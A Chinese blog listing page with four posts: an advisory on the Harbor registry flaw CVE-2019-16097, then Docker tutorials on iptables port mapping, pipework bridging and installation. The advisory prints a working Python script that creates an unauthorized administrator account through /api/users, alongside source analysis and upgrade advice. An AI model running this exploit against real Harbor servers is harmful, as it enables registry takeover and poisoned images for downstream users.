about 4 results (0.02 seconds)

Harbor存在未授权可以任意创建管理员漏洞

by LauCyun Sep 19 21:27:21 5,423 views

近日,镜像仓库Harbor爆出未经授权可以创建任意管理员的漏洞(CVE-2019-16097)。攻击者可通过构造特定的字符串,在未授权的情况下直接创建管理员账号,从而接管Harbor镜像仓库。

目前利用方式已被公开,官方最新的1.7.61.8.3已修复此漏洞,请使用到的用户尽快升级至安全版本。


图1 Harbor

0x0 前言

Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器,通过添加一些企业必需的功能特性,例如安全、标识和管理等,扩展了开源Docker Distribution。

作为一个企业级私有Registry服务器,Harbor提供了更好的性能和安全。提升用户使用Registry构建和运行环境传输镜像的效率。Harbor支持安装在多个Registry节点的镜像资源复制,镜像全部保存在私有Registry中,确保数据和知识产权在公司内部网络中管控。另外,Harbor也提供了高级的安全特性,诸如用户管理,访问控制和活动审计等。


图2 Harbor客户

0x1 漏洞描述

攻击者可以通过创建管理员账号来接管Harbor镜像仓库,从而写入恶意镜像,最终可以感染使用此仓库的客户端。

1 危害级别

高危

2 漏洞编号

  • CVE-2019-16097

3 影响范围

受影响版本

  • Harbor 1.7.0 - 1.8.2

不受影响版本

  • Harbor>= 1.7.6
  • Harbor>= 1.8.3

4 全球态势

据ZoomEye统计(关键字:<title>Harbor</title>),在全球范围内对外开放的Harbor资产数为3,456个,分布情况如下图所示:


图3 全球分布

其中中国受影响的资产数量有2,034个,分布情况如下图所示:


图4 国内分布情况

其中大部分分布在北京、广东、浙江、上海等地区,具体如下图所示:


图5 国内分布TOP 10

0x2 漏洞复现

首先,创建文件exp.py,其内容如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import json

data = {"email": "harbor@goharbor.io", "password": "password", "realname": "harbor", "username": "harbor", "has_admin_role": True}
headers = {"Content-Type": "application/json"}
rs = requests.post("<http/https>://<ip>:<port>/api/users", data=json.dumps(data), headers=headers)
if rs.status_code == 201:
    print("success!")
else:
    print("failed!")

然后执行脚本,结果如下图所示:

图6 漏洞利用

最后,用刚创建的用户名密码登录,结果登录成功且该用户为管理员权限,如下图示:


图7 创建管理员账号

0x3 漏洞分析

在源码src/common/moudels/user.gouser的结构体如下:

type User struct {
    UserID          int    `orm:"pk;auto;column(user_id)" json:"user_id"`
    Username        string `orm:"column(username)" json:"username"`
    Email           string `orm:"column(email)" json:"email"`
    Password        string `orm:"column(password)" json:"password"`
    PasswordVersion string `orm:"column(password_version)" json:"password_version"`
    Realname        string `orm:"column(realname)" json:"realname"`
    Comment         string `orm:"column(comment)" json:"comment"`
    Deleted         bool   `orm:"column(deleted)" json:"deleted"`
    Rolename        string `orm:"-" json:"role_name"`
    // if this field is named as "RoleID", beego orm can not map role_id
    // to it.
    Role int `orm:"-" json:"role_id"`
    //  RoleList     []Role `json:"role_list"`
    HasAdminRole bool      `orm:"column(sysadmin_flag)" json:"has_admin_role"`
    ResetUUID    string    `orm:"column(reset_uuid)" json:"reset_uuid"`
    Salt         string    `orm:"column(salt)" json:"-"`
    CreationTime time.Time `orm:"column(creation_time);auto_now_add" json:"creation_time"`
    UpdateTime   time.Time `orm:"column(update_time);auto_now" json:"update_time"`
    GroupIDs     []int     `orm:"-" json:"-"`
    OIDCUserMeta *OIDCUser `orm:"-" json:"oidc_user_meta,omitempty"`
}

其中HasAdminRole参数用来标记用户是否为管理员。

分析一下路由,在src/core/router.go中第50行:

图8 /api/users路由

src/core/api/user.go中负责处理该路由提交的数据,在注册用户POST提交时来到user.go中的POST方法:


图9 POST请求处理逻辑

在判断允许自行注册用户后,创建User对象。之后验证用户和Email后插入数据库,整个过程并未对HasAdminRole进行校验。导致可以新用户可以注册为管理员。

在新版本中增加了对HasAdminRole的校验:

图10 修复

0x4 修复建议

1、关闭自行注册功能;

2、升级Harbor至1.7.6及以上版本或者1.8.3及以上版本。

0x5 参考

...

Tags Read More..


Docker动态映射运行Container的端口

by LauCyun Dec 15,2016 23:09:53 21,885 views

Docker自带了EXPOSE命令,可以通过编写dockerfile-p参数方便的映射container内部端口,但是对于已经运行的container,如果你想对外开放一个新的端口,只能编辑dockerfile然后重新build,有点不太方便。

其实Docker本身使用了iptables来做端口映射的,所以我们可以通过一些简单的操作来实现动态映射运行中的container端口。

通过运行iptables命令可以看到具体的端口映射:

root@localhost:/home/ubuntu# iptables -nxvL
...
Chain DOCKER (1 references)
    pkts      bytes target     prot opt in     out     source               destination         
...

root@localhost:/home/ubuntu# iptables -t nat -nxvL
...
Chain POSTROUTING (policy ACCEPT 30 packets, 1756 bytes)
    pkts      bytes target     prot opt in     out     source               destination         
     557    33795 MASQUERADE  all  --  *      !docker0  172.17.0.0/16        0.0.0.0/0           

Chain DOCKER (2 references)
    pkts      bytes target     prot opt in     out     source               destination         
       0        0 RETURN     all  --  docker0 *       0.0.0.0/0            0.0.0.0/0           

我们要做的就是根据自己container的情况配置iptables规则。

  • 首先是filter这个表,我们要配置其放通转发,Docker默认已经将所有的FORWARD规则放到了DOCKER这个chain中了,这样方便配置,也方便查看。
  • 然后再配置nat表为其配置DNAT,这个才是端口转发的核心配置。这个表中只需要配置POSTROUTINGDOCKER链即可,这里不讲为什么这么配置,如果想要深入了解iptables请google一下。

下面举个例子:

假如我有一个container名为ngrok-server(通过运行docker ps命令即可查询),现在我在docker内部运行ngrok-server程序,监听了41575端口(转发了本地192.168.100.106的22端口),我希望外网可以通过22222端口访问:

1. 找到docker为ngrok-server分配的IP:

root@localhost:/home/ubuntu# docker inspect -f '{{.NetworkSettings.IPAddress}}' ngrok-server
172.17.0.3

2. 配置iptablesfilter表的FORWARD(DOCKER)链:

root@localhost:/home/ubuntu# iptables -A DOCKER -p tcp -d 172.17.0.3 --dport 41575 -j ACCEPT

3. 配置iptablesnat表的PREROUTING(DOCKER)POSTROUTING链:

root@localhost:/home/ubuntu# iptables -t nat -A POSTROUTING -p tcp -s 172.17.0.3 -d 172.17.0.3 --dport 41575 -j MASQUERADE
root@localhost:/home/ubuntu# iptables -t nat -A DOCKER -p tcp --dport 2222 -j DNAT --to-destination 172.17.0.3:41575

4.  验证一下,如图:

OK,连接成功了!

5. 最后iptables规则:

root@localhost:/home/ubuntu# iptables -nxvL
...
Chain DOCKER (1 references)
    pkts      bytes target     prot opt in     out     source               destination         
       4      240 ACCEPT     tcp  --  *      *       0.0.0.0/0            172.17.0.3           tcp dpt:41575
...

root@localhost:/home/ubuntu# iptables -t nat -nxvL
...
Chain POSTROUTING (policy ACCEPT 30 packets, 1756 bytes)
    pkts      bytes target     prot opt in     out     source               destination         
     557    33795 MASQUERADE  all  --  *      !docker0  172.17.0.0/16        0.0.0.0/0           
       0        0 MASQUERADE  tcp  --  *      *       172.17.0.3           172.17.0.3           tcp dpt:41575

Chain DOCKER (2 references)
    pkts      bytes target     prot opt in     out     source               destination         
       0        0 RETURN     all  --  docker0 *       0.0.0.0/0            0.0.0.0/0           
       4      240 DNAT       tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:22222 to:172.17.0.3:41575

当然,使用手动配置也是比较麻烦的,所以我写了一个脚本来自动配置端口映射,使用方法脚本中有说明:

#!/bin/sh

# ./docker_expose.sh -I -hport 22222 -cip 172.17.0.3 -cport 41575
# ./docker_expose.sh -D -hport 22222 -cip 172.17.0.3 -cport 41575

INSERT_FLAG=false
DELETE_FLAG=false
HOST_PORT=''
CONTAINER_IP=''
CONTAINER_PORT=''

while [ $# -gt 0 ]
do
    case "$1" in
    (-I) INSERT_FLAG=true;;
    (-D) DELETE_FLAG=true;;
    (-hport) HOST_PORT="$2"; shift;;
    (-cip) CONTAINER_IP="$2"; shift;;
    (-cport) CONTAINER_PORT="$2"; shift;;
    (--) shift; break;;
    (-*) echo "$0: error - unrecognized option $1" 1>&2; exit 1;;
    (*)  break;;
    esac
    shift
done

echo "$HOST_PORT -> $CONTAINER_IP:$CONTAINER_PORT"

if [ $INSERT_FLAG = true ]; then
    iptables -t nat -A DOCKER -p tcp --dport $HOST_PORT -j DNAT --to-destination $CONTAINER_IP:$CONTAINER_PORT
    iptables -t nat -A POSTROUTING -p tcp -s $CONTAINER_IP -d $CONTAINER_IP --dport $CONTAINER_PORT -j MASQUERADE
    iptables -A DOCKER -p tcp -d $CONTAINER_IP --dport $CONTAINER_PORT -j ACCEPT
fi
if [ $DELETE_FLAG = true ]; then
    iptables -t nat -D DOCKER -p tcp --dport $HOST_PORT -j DNAT --to-destination $CONTAINER_IP:$CONTAINER_PORT
    iptables -t nat -D POSTROUTING -p tcp -s $CONTAINER_IP -d $CONTAINER_IP --dport $CONTAINER_PORT -j MASQUERADE
    iptables -D DOCKER -p tcp -d $CONTAINER_IP --dport $CONTAINER_PORT -j ACCEPT
fi

iptables -t nat -nvxL
iptables -nvxL

网上我看一下更加全面的脚本:http://yaxin-cn.github.io/Docker/expose-port-of-running-docker-container.html

...

Tags Read More..


使用pipework将Docker容器配置到本地网络环境中

by LauCyun Nov 10,2016 11:35:18 22,145 views

在使用Docker的过程中,有时候我们会有将Docker容器配置到和主机同一网段的需求。要实现这个需求,我们只要将Docker容器和主机的网卡桥接起来,再给Docker容器配上IP就可以了。

下面我们就使用pipework工具来实现这一需求。

实验环境:

  • 系统版本:Ubuntu 16.04
                      或
                      CentOS 6.8
  • Docker版本:17.05.0-ce, build 89658be

1 安装pipework

root@ubuntu:~# git clone https://github.com/jpetazzo/pipework
root@ubuntu:~# sudo cp pipework/pipework /usr/local/bin/
root@ubuntu:~# chmod +x /usr/local/bin/pipework

2 使用pipework

首先看一下,当前我的主机的IP地址为192.168.0.200,网关为192.168.0.1,使用的是eth0这块网卡。假定我需要给Docker容器的分配的地址为192.168.0.210

首先创建一个容器:

root@ubuntu:~# docker run -d -it --name test centos:6.8 /bin/bash
6ee257a1045d1c9a15ff602fe575ab4c767e6b9b054ca85b0b531bb91fe983ae

此时,查看容器的IP地址信息,其中有eth0lo,其中eth0的IP地址为172.17.0.4,如下:

root@ubuntu:~# docker exec test ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:04
          inet addr:172.17.0.4  Bcast:0.0.0.0  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:7 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:738 (738.0 b)  TX bytes:0 (0.0 b)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

pipework首先会检查主机是否存在br0网桥,若不存在,就自己创建一个。这里以"br"开头,所以创建的是Linux bridge。如果以"ovs"开头,就会创建OpenVswitch网桥。

网桥创建过程请参考:

查看一下网桥信息:

root@ubuntu:~# brctl show
bridge name     bridge id               STP enabled     interfaces
br0             8000.000d4826948c       no              enp3s0

下面配置容器test的网络,并连接到网桥br0上,其中@后面是网关地址:

root@ubuntu:~# pipework br0 test 192.168.0.210/24@192.168.0.1

另外,如果主机环境中有DHCP服务,也可以通过DHCP的方式获取IP:

[root@localhost ~]# pipework br0 test dhcp

此时查看容器的IP地址信息,发现新增加了一个网卡eth1,分配的IP地址是192.168.0.210,如下:

root@ubuntu:~# docker exec test ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:04
          inet addr:172.17.0.4  Bcast:0.0.0.0  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:7 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:738 (738.0 b)  TX bytes:0 (0.0 b)

eth1      Link encap:Ethernet  HWaddr 82:6D:DD:1C:EC:34
          inet addr:192.168.0.210  Bcast:0.0.0.0  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:14 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1158 (1.1 KiB)  TX bytes:42 (42.0 b)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

现在,另开一个终端,可以通过ping 192.168.0.210来测试容器网络。或者从其它物理主机上ping这个容器地址。

$ ping 192.168.0.210

Pinging 192.168.0.210 with 32 bytes of data:
Reply from 192.168.0.210: bytes=32 time=1664ms TTL=64
Reply from 192.168.0.210: bytes=32 time=2ms TTL=64
Reply from 192.168.0.210: bytes=32 time=2ms TTL=64
Reply from 192.168.0.210: bytes=32 time=2ms TTL=64

Ping statistics for 192.168.0.210:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 2ms, Maximum = 1664ms, Average = 417ms

OK,成功~~

3 常见错误

3.1 Warning: arping not found; interface may not be immediately reachable

如果出现Warning: arping not found; interface may not be immediately reachable错误的话,提示arping命令没发现,可以通过apt-get install arping来安装即可。

3.2 Object "netns" is unknown, try "ip help"

使用ip netns会出现类似这样的报错:

Object "netns" is unknown, try "ip help".

pipework要用到网络namespace(可以理解为进程级别的网络设备),关于namespace介绍可以查阅其它相关质料。CentOS6.5以前,内核不支持网络namespace,需要升级内核和iproute。CentOS6.5以后内核已支持网络namespace,只需要升级iproute即可。

[root@localhost ~]# cat /etc/redhat-release
CentOS release 6.9 (Final)
方法一:升级iproute
# 安装yum源
[root@localhost ~]# yum install -y http://rdo.fedorapeople.org/rdo-release.rpm
# 
[root@localhost ~]# cat /etc/yum.repos.d/rdo-release.repo
[openstack-kilo]
name=OpenStack Kilo Repository
baseurl=https://repos.fedorapeople.org/repos/openstack/EOL/openstack-icehouse/epel-6/
skip_if_unavailable=0
enabled=1
gpgcheck=0
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-RDO-kilo
# 安装指定yum源的iproute包
[root@localhost ~]# yum install -y iproute
方法二:升级内核

通过yum快速升级CentOS 6.x 内核到3.1.0,依次执行如下命令,如果提示地址无法连接,可以把地址复制到浏览器地址栏下载,然后传到服务器上执行命令rpm -ivh下载的rpm来文件完成安装。

[root@localhost ~]# rpm -ivh http://www.elrepo.org/elrepo-release-6-5.el6.elrepo.noarch.rpm
[root@localhost ~]# yum --enablerepo=elrepo-kernel install kernel-lt -y
  1. 在grub.conf中确定装好的内核在哪个位置:
    [root@localhost ~]# vim /etc/grub.conf
    default=0
  2. 重启系统,查看内核信息
    [root@localhost ~]# uname -r3.10.94-1.el6.elrepo.x86_64

    更新iproute软件包,同理如果无法连接,则把地址复制到浏览器地址栏手动下载然后安装。

    [root@localhost ~]# yum install -y http://rdo.fedorapeople.org/rdo-release.rpm
  3. 修改地址
    [root@localhost ~]# vim /etc/yum.repos.d/rdo-release.repo
    [openstack-kilo]
    name=OpenStack Kilo Repository
    baseurl=https://repos.fedorapeople.org/repos/openstack/EOL/openstack-icehouse/epel-6/
    skip_if_unavailable=0
    enabled=1
    gpgcheck=0
    gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-RDO-kilo
  4. 升级iprpute软件包

    [root@localhost ~]# yum upgrade iproute
    [root@localhost ~]# rpm -qa|grep iproute
    iproute-2.6.32-130.el6ost.netns.2.x86_64

4 参考

5 修改日志

  • Nov 10,2016: 编撰,初稿;
  • Dec 07,2017: 添加缺少arping错误及解决方案。
  • Dec 30,2017: 添加Object "netns" is unknown, try "ip help".错误及解决方案。

...

Tags Read More..


如何安装 Docker

by LauCyun Oct 11,2016 15:50:52 10,235 views

Docker 支持以下版本的 UbuntuDebianCentOS Linux操作系统:

  • Ubuntu Xenial 16.04 (LTS)
  • Ubuntu Trusty 14.04 (LTS)
  • Ubuntu Precise 12.04 (LTS)
  • Debian testing stretch (64-bit)
  • Debian 8 Jessie (64-bit)
  • Debian 7 Wheezy (64-bit)(必须启用 backports)
  • CentOS 7

Docker 需要安装在 64 位的 x86 平台或 ARM 平台上(如树莓派),并且要求内核版本不低于 3.10。但实际上内核越新越好,过低的内核版本可能会出现部分功能无法使用,或者不稳定。

用户可以通过如下命令检查自己的内核版本详细信息:

$ uname -a
Linux device 4.4.0-45-generic #66~14.04.1-Ubuntu SMP Wed Oct 19 15:05:38 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

 

1 升级内核

如果内核版本过低,可以用下面的命令升级系统内核。

Ubuntu 12.04 LTS

$ sudo apt-get install -y --install-recommends linux-generic-lts-trusty

Ubuntu 14.04 LTS

$ sudo apt-get install -y --install-recommends linux-generic-lts-xenial

Debian 7 Wheezy

Debian 7 的内核默认为 3.2,为了满足 Docker 的需求,应该安装 backports 的内核。

执行下面的命令添加 backports 源:

$ echo "deb http://http.debian.net/debian wheezy-backports main" | sudo tee /etc/apt/sources.list.d/backports.list

升级到 backports 内核:

$ sudo apt-get update
$ sudo apt-get -t wheezy-backports install linux-image-amd64

Debian 8 Jessie

Debian 8 的内核默认为 3.16,满足基本的 Docker 运行条件。但是如果打算使用 overlay2 存储层驱动,或某些功能不够稳定希望升级到较新版本的内核,可以添加 backports 源,升级到新版本的内核。

执行下面的命令添加 backports 源:

$ echo "deb http://http.debian.net/debian jessie-backports main" | sudo tee /etc/apt/sources.list.d/backports.list

升级到 backports 内核:

$ sudo apt-get update
$ sudo apt-get -t jessie-backports install linux-image-amd64

需要注意的是,升级到 backports 的内核之后,会因为 AUFS 内核模块不可用,而使用默认的 devicemapper 驱动,并且配置为 loop-lvm,这是不推荐的。因此,不要忘记安装 Docker 后,配置 overlay2 存储层驱动。

配置 GRUB 引导参数

在 Docker 使用期间,或者在 docker info 信息中,可能会看到下面的警告信息:

WARNING: Your kernel does not support cgroup swap limit. WARNING: Your
kernel does not support swap limit capabilities. Limitation discarded.

或者

WARNING: No memory limit support
WARNING: No swap limit support
WARNING: No oom kill disable support

如果需要这些功能,就需要修改 GRUB 的配置文件 /etc/default/grub,在 GRUB_CMDLINE_LINUX 中添加内核引导参数 cgroup_enable=memory swapaccount=1

然后不要忘记了更新 GRUB:

$ sudo update-grub
$ sudo reboot

 

2 使用脚本自动安装(推荐)

Docker 官方为了简化安装流程,提供了一套安装脚本,Ubuntu 和 Debian 系统可以使用这套脚本安装:

curl -sSL https://get.docker.com/ | sh

执行这个命令后,脚本就会自动的将一切准备工作做好,并且把 Docker 安装在系统中。

不过,由于伟大的墙的原因,在国内使用这个脚本可能会出现某些下载出现错误的情况。国内的一些云服务商提供了这个脚本的修改版本,使其使用国内的 Docker 软件源镜像安装,这样就避免了墙的干扰。

阿里云的安装脚本

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

DaoCloud 的安装脚本

curl -sSL https://get.daocloud.io/docker | sh

 

3 手动安装

3.1 安装所需的软件包

可选内核模块

从 Ubuntu 14.04 开始,一部分内核模块移到了可选内核模块包(linux-image-extra-*),以减少内核软件包的体积。正常安装的系统应该会包含可选内核模块包,而一些裁剪后的系统可能会将其精简掉。AUFS 内核驱动属于可选内核模块的一部分,作为推荐的 Docker 存储层驱动,一般建议安装可选内核模块包以使用 AUFS

如果系统没有安装可选内核模块的话,可以执行下面的命令来安装可选内核模块包:

$ sudo apt-get install linux-image-extra-$(uname -r) linux-image-extra-virtual
12.04 LTS 图形界面

在 Ubuntu 12.04 桌面环境下,需要一些额外的软件包,可以用下面的命令安装。

$ sudo apt-get install xserver-xorg-lts-trusty libgl1-mesa-glx-lts-trusty

3.2 添加 APT 镜像源

虽然 Ubuntu 系统软件源中有 Docker,名为 docker.io,但是不应该使用系统源中的这个版本,它的版本太旧。我们需要使用 Docker 官方提供的软件源,因此,我们需要添加 APT 软件源。

由于官方源使用 HTTPS 以确保软件下载过程中不被篡改。因此,我们首先需要添加使用 HTTPS 传输的软件包以及 CA 证书。

国内的一些软件源镜像(比如阿里云)不是太在意系统安全上的细节,可能依旧使用不安全的 HTTP,对于这些源可以不执行这一步。

$ sudo apt-get update
$ sudo apt-get install apt-transport-https ca-certificates

为了确认所下载软件包的合法性,需要添加 Docker 官方软件源的 GPG 密钥。

$ sudo apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D

然后,我们需要向 source.list 中添加 Docker 软件源,下表列出了不同的 Ubuntu 和 Debian 版本对应的 APT 源。

操作系统版本 REPO
Precise 12.04 (LTS) deb https://apt.dockerproject.org/repo ubuntu-precise main
Trusty 14.04 (LTS) deb https://apt.dockerproject.org/repo ubuntu-trusty main
Xenial 16.04 (LTS) deb https://apt.dockerproject.org/repo ubuntu-xenial main
Debian 7 Wheezy deb https://apt.dockerproject.org/repo debian-wheezy main
Debian 8 Jessie deb https://apt.dockerproject.org/repo debian-jessie main
Debian Stretch/Sid deb https://apt.dockerproject.org/repo debian-stretch main

用下面的命令将 APT 源添加到 source.list(将其中的 <REPO> 替换为上表的值):

$ echo "<REPO>" | sudo tee /etc/apt/sources.list.d/docker.list

添加成功后,更新 apt 软件包缓存。

$ sudo apt-get update

3.3 安装 Docker

在一切准备就绪后,就可以安装最新版本的 Docker 了,软件包名称为 docker-engine

$ sudo apt-get install docker-engine

如果系统中存在旧版本的 Docker (lxc-dockerdocker.io),会提示是否先删除,选择是即可。

3.4 启动 Docker 引擎

Ubuntu 12.04/14.04、Debian 7 Wheezy
$ sudo service docker start
Ubuntu 16.04、Debian 8 Jessie/Stretch
$ sudo systemctl enable docker
$ sudo systemctl start docker

3.5 建立 docker 用户组

默认情况下,docker 命令会使用 Unix socket 与 Docker 引擎通讯。而只有 root 用户和 docker 组的用户才可以访问 Docker 引擎的 Unix socket。出于安全考虑,一般 Linux 系统上不会直接使用 root 用户。因此,更好地做法是将需要使用 docker 的用户加入 docker 用户组。

建立 docker 组:

$ sudo groupadd docker
$ useradd -r -g docker -M -s /sbin/nologin docker

将当前用户加入 docker 组:

$ sudo usermod -aG docker docker

...

Tags Read More..